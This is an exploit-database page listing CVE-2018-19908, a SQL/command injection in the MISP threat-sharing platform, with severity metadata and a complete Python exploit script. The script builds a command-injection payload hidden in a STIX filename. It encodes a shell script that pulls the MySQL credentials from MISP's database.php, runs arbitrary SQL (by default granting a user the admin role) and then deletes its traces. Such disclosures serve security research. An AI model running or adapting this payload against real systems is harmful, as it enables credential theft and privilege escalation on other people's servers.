Home
Bugtraq
Full List
Only Bugs
Only Tricks
Only Exploits
Only Dorks
Only CVE
Only CWE
Fake Notes
Ranking
CVEMAP
Full List
Show Vendors
Show Products
CWE Dictionary
Check CVE Id
Check CWE Id
Search
Bugtraq
CVEMAP
By author
CVE Id
CWE Id
By vendors
By products
RSS
Bugtraq
CVEMAP
CVE Products
Bugs
Exploits
Dorks
More
cIFrex
Facebook
Twitter
Donate
About
Submit
MISP 2.4.97 SQL Injection / Command Injection
2019.02.19
Credit:
Tm9jdGlz
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2018-19908
CWE:
CWE-89
CWE-78
CVSS Base Score:
9/10
Impact Subscore:
10/10
Exploitability Subscore:
8/10
Exploit range:
Remote
Attack complexity:
Low
Authentication:
Single time
Confidentiality impact:
Complete
Integrity impact:
Complete
Availability impact:
Complete
#-*-coding:utf-8-*- # # Exploit Title: SQL command execution via command injection in STIX module # Date: 2019-17-02 # Exploit Author: Tm9jdGlz # Vendor Homepage: https://www.misp-project.org/ # Software link: https://www.misp-project.org/download/ # Version: 2.4.90 - 2.4.99 # Tested on: 2.4.97 # CVE: CVE-2018-19908 # # Use this payload as stix filename def encode_data(data): from base64 import b64encode from urllib.parse import quote_plus b64Data = b64encode(data.encode("utf-8")) urlEncode = quote_plus(b64Data) return urlEncode def generate_payload(SQLRequest): payload = 'MISPPath="../../";'\ 'MISPPDB="$MISPPath/app/Config/database.php";'\ 'MySQLUUser=$(grep -o -P "(?<=\'login\' => \').*(?=\')" $MISPPDB);'\ 'MySQLRUser=${{MySQLRUser:-$MySQLUUser}};'\ 'MySQLUPass=$(grep -o -P "(?<=\'password\' => \').*(?=\')" $MISPPDB);'\ 'MySQLRPass=${{MySQLRPass:-$MySQLUPass}};'\ 'MISPDB=$(grep -o -P "(?<=\'database\' => \').*(?=\')" $MISPPDB);'\ 'mysql -u $MySQLRUser -p$MySQLRPass $MISPDB -e "{}"' return payload.format(SQLRequest) def generate_exploit(SQLRequest, **kwargs): options = { "inputFile" : kwargs.get("input_file", "data"), "outputFile" : kwargs.get("output_file", "data2"), "payload" : encode_data(generate_payload(SQLRequest)) } exploit = "; echo '{payload}'>{inputFile};"\ "python3 -c 'import urllib.parse;"\ 'fd=open(\\"{outputFile}\\",\\"w\\");'\ 'fd.write(urllib.parse.unquote_plus(open(\\"{inputFile}\\").read()));'\ "fd.close()';"\ "base64 -d {outputFile}>{inputFile};"\ "sh {inputFile};"\ "rm {inputFile} {outputFile} #".format(**options) return exploit def main(): SQLRequest = "UPDATE users SET role_id=1 WHERE id = 2" print(generate_exploit(SQLRequest)) if __name__ == "__main__": main()
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top